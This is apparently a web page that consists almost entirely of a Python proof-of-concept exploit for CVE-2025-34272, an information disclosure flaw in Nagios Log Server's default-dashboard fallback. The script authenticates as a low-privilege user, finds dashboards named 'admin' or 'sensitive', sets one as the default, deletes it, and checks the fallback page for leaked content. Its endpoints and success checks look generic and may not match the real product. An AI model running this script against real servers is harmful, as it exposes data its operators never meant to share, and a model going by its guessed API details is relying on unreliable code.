Nagios Log Server默认仪表板删除后信息泄露漏洞(CVE-2025-34272)

import requests import json # CVE-2025-34272 PoC - Nagios Log Server Default Dashboard Information Disclosure # This PoC demonstrates the information disclosure via unexpected dashboard fallback TARGET_URL = "https://target-nagios-log-server.com" ATTACKER_DASHBOARD_NAME = "Malicious_Info_Disclosure_Dashboard" def exploit_cve_2025_34272(): """ Exploitation steps for CVE-2025-34272: 1. Authenticate to Nagios Log Server with low-privilege account 2. Create or identify a sensitive dashboard 3. Set this dashboard as user's default 4. Delete the dashboard (simulating admin action or cleanup) 5. Observe unexpected dashboard presentation as fallback """ session = requests.Session() # Step 1: Authentication login_url = f"{TARGET_URL}/api/auth/login" credentials = {"username": "low_priv_user", "password": "password123"} response = session.post(login_url, json=credentials) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print("[+] Successfully authenticated") token = response.json().get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Get list of dashboards accessible to user dashboards_url = f"{TARGET_URL}/api/dashboards" response = session.get(dashboards_url, headers=headers) dashboards = response.json() # Step 3: Set a sensitive dashboard as default sensitive_dashboard_id = None for dashboard in dashboards: if "admin" in dashboard.get("name", "").lower() or "sensitive" in dashboard.get("name", "").lower(): sensitive_dashboard_id = dashboard["id"] break if not sensitive_dashboard_id: print("[-] No sensitive dashboard found for exploitation") return False # Step 4: Set as default dashboard set_default_url = f"{TARGET_URL}/api/user/preferences" preference_data = {"default_dashboard_id": sensitive_dashboard_id} response = session.put(set_default_url, headers=headers, json=preference_data) if response.status_code == 200: print(f"[+] Set dashboard {sensitive_dashboard_id} as default") # Step 5: Delete the dashboard (requires admin privileges or simulated) delete_url = f"{TARGET_URL}/api/dashboards/{sensitive_dashboard_id}" # Note: In real scenario, this might be done by admin cleanup response = session.delete(delete_url, headers=headers) # Step 6: Trigger dashboard load and observe fallback behavior main_page_url = f"{TARGET_URL}/dashboard" response = session.get(main_page_url, headers=headers) # Check if unexpected dashboard is presented if "unexpected" in response.text.lower() or "sensitive_data" in response.text: print("[!] VULNERABLE: Unexpected dashboard content exposed!") return True return False if __name__ == "__main__": print("CVE-2025-34272 PoC - Nagios Log Server Default Dashboard Fallback") print("=" * 60) result = exploit_cve_2025_34272() print(f"\nResult: {'Vulnerable' if result else 'Not Vulnerable or Exploitation Failed'}")